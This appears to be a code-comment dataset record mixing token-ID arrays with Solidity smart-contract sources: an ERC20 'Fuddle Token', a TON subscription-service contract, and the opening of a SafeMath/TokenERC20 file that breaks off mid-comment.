-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x0D1E1E939a172a0b0C88eB22F05935718Da4447C/sources/FUDLToken_6.0.sol | ---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------ | contract FuddleToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "FUDL";
name = "Fuddle Token";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x0A19536DAf7626e3F2C8A1B211CE87dd8B747c6E] = _totalSupply;
emit Transfer(address(0), 0x0A19536DAf7626e3F2C8A1B211CE87dd8B747c6E, _totalSupply);
}
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public override returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 8,106,101 | [
1,
5802,
7620,
4232,
39,
3462,
3155,
16,
598,
326,
2719,
434,
3273,
16,
508,
471,
15105,
471,
1551,
25444,
1147,
29375,
8879,
13849,
8879,
17082,
11417,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
478,
20567,
298,
1345,
353,
4232,
39,
3462,
1358,
16,
14223,
11748,
16,
14060,
10477,
288,
203,
565,
533,
1071,
3273,
31,
203,
565,
533,
1071,
225,
508,
31,
203,
565,
2254,
28,
1071,
15105,
31,
203,
565,
2254,
1071,
389,
4963,
3088,
1283,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
13,
324,
26488,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
2935,
31,
203,
203,
203,
565,
3885,
1435,
1071,
288,
203,
3639,
3273,
273,
315,
42,
57,
8914,
14432,
203,
3639,
508,
273,
315,
42,
20567,
298,
3155,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
2130,
12648,
12648,
12648,
31,
203,
3639,
324,
26488,
63,
20,
92,
20,
37,
31677,
5718,
9793,
74,
6669,
5558,
73,
23,
42,
22,
39,
28,
37,
21,
38,
22,
2499,
1441,
11035,
449,
28,
38,
5608,
27,
71,
26,
41,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
374,
92,
20,
37,
31677,
5718,
9793,
74,
6669,
5558,
73,
23,
42,
22,
39,
28,
37,
21,
38,
22,
2499,
1441,
11035,
449,
28,
38,
5608,
27,
71,
26,
41,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
3849,
1476,
1135,
261,
11890,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
300,
324,
26488,
63,
2867,
12,
20,
13,
15533,
203,
565,
289,
203,
203,
203,
565,
445,
11013,
951,
12,
2867,
2
] |
pragma ton-solidity >= 0.47.0;
pragma AbiHeader expire;
pragma AbiHeader time;
pragma AbiHeader pubkey;
import "./SubscriptionPlan.sol";
import "./interfaces/root/IRootCreateSubscriptionPlan.sol";
import "./interfaces/root/IRootOnUserSubscription.sol";
import "./interfaces/root/IRootWithdrawal.sol";
import "./interfaces/service/IServiceAddTip3Wallets.sol";
import "./interfaces/service/IServiceSubscribeCallback.sol";
import "./structs/SubscriptionPlanData.sol";
import "./libraries/Balances.sol";
import "./libraries/Errors.sol";
import "./libraries/Fees.sol";
import "./utils/ITIP3Manager.sol";
import "./utils/MinValue.sol";
import "./utils/SafeGasExecution.sol";
import "../node_modules/@broxus/contracts/contracts/libraries/MsgFlag.sol";
contract Service is IServiceAddTip3Wallets, IServiceSubscribeCallback, MinValue, SafeGasExecution, ITIP3Manager {
address ZERO_ADDRESS;
uint32 static _nonce;
address static _root;
address _owner;
string _title;
string _description;
string _url;
uint32 _subscriptionPlanNonce;
address[] _subscriptionPlans;
mapping(address /*root*/ => uint128 /*balance*/) _virtualBalances;
/*************
* MODIFIERS *
*************/
modifier onlyRoot() {
require(msg.sender == _root, Errors.IS_NOT_ROOT);
_;
}
modifier onlyOwner() {
require(msg.sender == _owner, Errors.IS_NOT_OWNER);
_;
}
modifier onlySubscriptionPlan(uint32 subscriptionPlanNonce) {
require(subscriptionPlanNonce < _subscriptionPlanNonce, Errors.IS_NOT_SUBSCRIPTION_PLAN);
require(msg.sender == _subscriptionPlans[subscriptionPlanNonce], Errors.IS_NOT_SUBSCRIPTION_PLAN);
_;
}
/**********
* EVENTS *
**********/
event SubscriptionPlanCreated(address subscriptionPlan, uint32 duration);
event Subscripted(address subscriptionPlan, address tip3Root, address sender, address user, uint256 pubkey, address userSubscription);
event Withdrawal(address tip3Root, uint128 feeAmount, uint128 incomeAmount);
/***************
* CONSTRUCTOR *
***************/
constructor(address owner, string title, string description, string url) public onlyRoot {
_owner = owner;
_title = title;
_description = description;
_url = url;
keepBalance(Balances.SERVICE_BALANCE);
}
/***********
* GETTERS *
***********/
function getDetails() public view responsible returns (
address owner,
string title,
string description,
string url,
uint32 subscriptionPlanNonce,
address[] subscriptionPlans,
mapping(address => uint128) virtualBalances
) {
return {value: 0, bounce: false, flag: MsgFlag.REMAINING_GAS} (
_owner,
_title,
_description,
_url,
_subscriptionPlanNonce,
_subscriptionPlans,
_virtualBalances
);
}
function getSubscriptionPlanNonce() public view responsible returns (uint32) {
return{value: 0, bounce: false, flag: MsgFlag.REMAINING_GAS} _subscriptionPlanNonce;
}
function getSubscriptionPlans() public view responsible returns (address[]) {
return{value: 0, bounce: false, flag: MsgFlag.REMAINING_GAS} _subscriptionPlans;
}
function getSubscriptionPlanByIndex(uint32 index) public view responsible returns (address) {
require(index < _subscriptionPlans.length, Errors.IS_NOT_SUBSCRIPTION_PLAN);
return{value: 0, bounce: false, flag: MsgFlag.REMAINING_GAS} _subscriptionPlans[index];
}
function getBalances() public view responsible returns (mapping(address => uint128)) {
return{value: 0, bounce: false, flag: MsgFlag.REMAINING_GAS} _virtualBalances;
}
function getOneBalance(address tip3Root) public view responsible returns (uint128) {
uint128 balance = _virtualBalances.exists(tip3Root) ? _virtualBalances[tip3Root] : 0;
return{value: 0, bounce: false, flag: MsgFlag.REMAINING_GAS} balance;
}
function getTonBalance() public view responsible returns (uint128) {
return{value: 0, bounce: false, flag: MsgFlag.REMAINING_GAS} getOneBalance(ZERO_ADDRESS);
}
/***********
* METHODS *
***********/
/*
Creates new subscription plan
@param tip3Prices mapping TIP3 prices, use address(0) for native Ton price
@param title title of plan
@param duration duration of plan in seconds
@param description description of plan
@param termUrl link to plan usage terms
@param limitCount max count of subscribers, use 0 for unlimited
@value must more or equal to `Fees.CREATE_SERVICE_VALUE`
*/
function createSubscriptionPlan(
mapping(address /*root*/ => uint128 /*amount*/) tip3Prices,
string title,
uint32 duration,
string description,
string termUrl,
uint64 limitCount
) public onlyOwner minValue(Fees.CREATE_SUBSCRIPTION_PLAN_VALUE) {
_reserve(getTonBalance());
SubscriptionPlanData data = SubscriptionPlanData(title, duration, description, termUrl, limitCount);
uint32 subscriptionPlanNonce = _subscriptionPlanNonce++;
IRootCreateSubscriptionPlan(_root)
.createSubscriptionPlan {
value: 0,
flag: MsgFlag.ALL_NOT_RESERVED
}(
_nonce,
subscriptionPlanNonce,
_owner,
address(this),
data,
tip3Prices
);
}
function onSubscriptionPlanCreated(
address subscriptionPlan,
mapping(address => uint128) prices,
uint32 duration
) public onlyRoot {
_reserve(getTonBalance());
_deployTip3Wallets(prices);
_subscriptionPlans.push(subscriptionPlan);
emit SubscriptionPlanCreated(subscriptionPlan, duration);
_owner.transfer({value: 0, flag: MsgFlag.ALL_NOT_RESERVED, bounce: false});
}
function _deployTip3Wallets(mapping(address => uint128) prices) private {
optional(address, uint128) pair = prices.min();
while (pair.hasValue()) {
(address root, uint128 price) = pair.get();
if (root != ZERO_ADDRESS && price > 0) {
_addTip3Wallet(root);
}
pair = prices.next(root);
}
}
function addTip3Wallets(uint32 subscriptionPlanNonce, mapping(address => uint128) tip3Prices) public override onlySubscriptionPlan(subscriptionPlanNonce) {
_reserve(getTonBalance());
_deployTip3Wallets(tip3Prices);
SubscriptionPlan(msg.sender).addTip3WalletsCallback{value: 0, flag: MsgFlag.ALL_NOT_RESERVED}();
}
/*
Subscribes via native Ton token
@param payload payload built via `buildSubscriptionPayload`
@value must more or equal to `Fees.USER_SUBSCRIPTION_EXTEND_VALUE`
*/
function subscribeNativeTon(TvmCell payload) public minValue(Fees.USER_SUBSCRIPTION_EXTEND_VALUE) {
_reserve(getTonBalance());
(uint32 subscriptionPlanNonce, address user, uint256 pubkey, bool autoRenew) = payload.toSlice()
.decodeFunctionParams(buildSubscriptionPayload);
require(subscriptionPlanNonce < _subscriptionPlanNonce, Errors.IS_NOT_SUBSCRIPTION_PLAN);
uint128 amount = msg.value - Fees.USER_SUBSCRIPTION_EXTEND_VALUE;
_virtualBalances[ZERO_ADDRESS] += amount;
SubscriptionPlan subscriptionPlan = SubscriptionPlan(_subscriptionPlans[subscriptionPlanNonce]);
subscriptionPlan.subscribe{
value: 0,
flag: MsgFlag.ALL_NOT_RESERVED
}(ZERO_ADDRESS, amount, msg.sender, user, pubkey, autoRenew);
}
// Subscribes via TIP3 token
// After receiving TIP3 tokens on TIP3 wallet
function _onTip3TokensReceived(
address tip3Root,
uint128 tip3Amount,
address senderAddress,
address senderWallet,
TvmCell payload
) internal override {
_reserve(getTonBalance());
(uint32 subscriptionPlanNonce, address user, uint256 pubkey, bool autoRenew) = payload.toSlice()
.decodeFunctionParams(buildSubscriptionPayload);
if (msg.value < Fees.USER_SUBSCRIPTION_EXTEND_VALUE || subscriptionPlanNonce >= _subscriptionPlanNonce) {
_transferTip3(tip3Root, senderWallet, tip3Amount);
senderAddress.transfer({value: 0, flag: MsgFlag.ALL_NOT_RESERVED});
return;
}
_virtualBalances[tip3Root] += tip3Amount;
SubscriptionPlan subscriptionPlan = SubscriptionPlan(_subscriptionPlans[subscriptionPlanNonce]);
subscriptionPlan.subscribe{
value: 0,
flag: MsgFlag.ALL_NOT_RESERVED
}(tip3Root, tip3Amount, senderAddress, user, pubkey, autoRenew);
}
/*
Builds payload for subscription [pure]
@param subscriptionPlanNonce nonce of subscription plan
@param user address of user for on-chain, address(0) for off-chain
@param pubkey pubkey of user for off-chain, 0 for on-chain
@param autoRenew auto renew this plan
*/
function buildSubscriptionPayload(
uint32 subscriptionPlanNonce,
address user,
uint256 pubkey,
bool autoRenew
) public pure returns (TvmCell) {
require(user == address(0) || pubkey == 0);
TvmBuilder builder;
builder.store(subscriptionPlanNonce, user, pubkey, autoRenew);
return builder.toCell();
}
function subscribeCallback(
uint32 subscriptionPlanNonce,
address tip3Root,
address sender,
address user,
uint256 pubkey,
uint128 changeAmount,
address userSubscription
) public override onlySubscriptionPlan(subscriptionPlanNonce) {
_reserve(getTonBalance());
if (changeAmount > 0) {
_virtualBalances[tip3Root] -= changeAmount;
if (tip3Root == ZERO_ADDRESS) {
sender.transfer({value: changeAmount, bounce: false}); // ton
} else {
_transferTip3ToRecipient(tip3Root, sender, changeAmount); // tip3
}
}
if (userSubscription != ZERO_ADDRESS) {
IRootOnUserSubscription(_root)
.onUserSubscription{
value: 2 * Balances.USER_PROFILE_BALANCE, // for `constructor` and `addSubscription`
flag: MsgFlag.SENDER_PAYS_FEES
}(_nonce, msg.sender, sender, user, pubkey);
}
emit Subscripted(_subscriptionPlans[subscriptionPlanNonce], tip3Root, sender, user, pubkey, userSubscription);
sender.transfer({value: 0, flag: MsgFlag.ALL_NOT_RESERVED});
}
function withdrawalTonIncome() public view onlyOwner minValue(Fees.SERVICE_WITHDRAWAL_VALUE) {
withdrawalTip3Income(ZERO_ADDRESS);
}
function withdrawalTip3Income(address tip3Root) public view onlyOwner minValue(Fees.SERVICE_WITHDRAWAL_VALUE) {
_reserve(getTonBalance());
uint128 amount = getOneBalance(tip3Root);
require(amount > 0, Errors.SERVICE_ZERO_INCOME);
TvmBuilder builder;
builder.store(tip3Root, amount);
TvmCell payload = builder.toCell();
IRootWithdrawal(_root).getWithdrawalParams{value: 0, flag: MsgFlag.ALL_NOT_RESERVED}(payload);
}
function getWithdrawalParamsCallback(
uint128 numerator,
uint128 denominator,
address rootOwner,
TvmCell payload
) public onlyRoot {
_reserve(getTonBalance());
(address tip3Root, uint128 amount) = payload.toSlice().decode(address, uint128);
if (_virtualBalances[tip3Root] < amount) { // owner tries to make double transfer of income
_owner.transfer({value: 0, flag: MsgFlag.ALL_NOT_RESERVED, bounce: false});
tvm.exit();
}
uint128 feeAmount = math.muldiv(amount, numerator, denominator);
uint128 incomeAmount = amount - feeAmount;
if (tip3Root == ZERO_ADDRESS) { // withdrawal ton
if (feeAmount > 0) rootOwner.transfer({value: feeAmount, bounce: false});
if (incomeAmount > 0) _owner.transfer({value: incomeAmount, bounce: false});
} else { // withdrawal tip3
_transferTip3ToRecipient(tip3Root, rootOwner, feeAmount);
_transferTip3ToRecipient(tip3Root, _owner, incomeAmount);
}
_virtualBalances[tip3Root] -= amount;
emit Withdrawal(tip3Root, feeAmount, incomeAmount);
_owner.transfer({value: 0, flag: MsgFlag.ALL_NOT_RESERVED, bounce: false});
}
}
| owner tries to make double transfer of income
| if (_virtualBalances[tip3Root] < amount) { | 12,738,428 | [
1,
8443,
9327,
358,
1221,
1645,
7412,
434,
316,
5624,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
309,
261,
67,
12384,
38,
26488,
63,
14587,
23,
2375,
65,
411,
3844,
13,
288,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/4/0x8aCdC3Ec0e56Fe1F38A7e147B0ED3bf813C599B2/sources/home/konstantinovv/source/KingLuigy/KingSwap_V2/contracts/RoyalDecks.sol | Staking period in Seconds
| uint32 lockSeconds; | 8,538,090 | [
1,
510,
6159,
3879,
316,
18301,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
1578,
2176,
6762,
31,
377,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract TheAO {
address public theAO;
address public nameTAOPositionAddress;
// Check whether an address is whitelisted and granted access to transact
// on behalf of others
mapping (address => bool) public whitelist;
constructor() public {
theAO = msg.sender;
}
/**
* @dev Checks if msg.sender is in whitelist.
*/
modifier inWhitelist() {
require (whitelist[msg.sender] == true);
_;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public {
require (msg.sender == theAO);
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public {
require (msg.sender == theAO);
require (_account != address(0));
whitelist[_account] = _whitelist;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
